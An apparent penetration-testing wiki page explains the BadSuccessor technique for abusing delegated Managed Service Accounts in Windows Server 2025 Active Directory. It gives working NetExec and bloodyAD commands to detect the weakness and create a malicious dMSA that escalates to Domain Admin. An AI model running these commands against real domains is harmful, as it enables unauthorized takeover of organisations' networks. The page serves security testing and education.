githubEdit

BadSuccessor (dMSA abuse)

Theory

In Windows Server 2025, Microsoft introduced delegated Managed Service Accounts (dMSAs).arrow-up-right A dMSA is a new type of service account in Active Directory (AD) that expands on the capabilities of group Managed Service Accountsarrow-up-right (gMSAs).

If we have GenericAll, CreateChild, WriteDACL, or WriteOwner permissions on any OU—or can modify an existing dMSA, we can escalate from low-level access to full Domain Admin via the BadSuccessor technique.

circle-check

Practice

NetExecarrow-up-right (Python) can be used to enulerate if a a target is vulnerable to bad successor attack

netexec ldap $DC_IP -u $USER -p $PASSWORD -M badsuccessor

We can then exploit it using BloodyAdarrow-up-right (Python).

# Enumerate writable attributes for the user we are authenticating as
bloodyAD -d $DOMAIN_FQDN -u $USER -p $PASSWORD --host $DC_FQDN get writable --detail

# BadSuccessor attack to create the dMSA object called dmsa_pwn
bloodyAD -d $DOMAIN_FQDN -u $USER -p $PASSWORD --host $DC_FQDN add badSuccessor dmsa_pwn

Resources

Last updated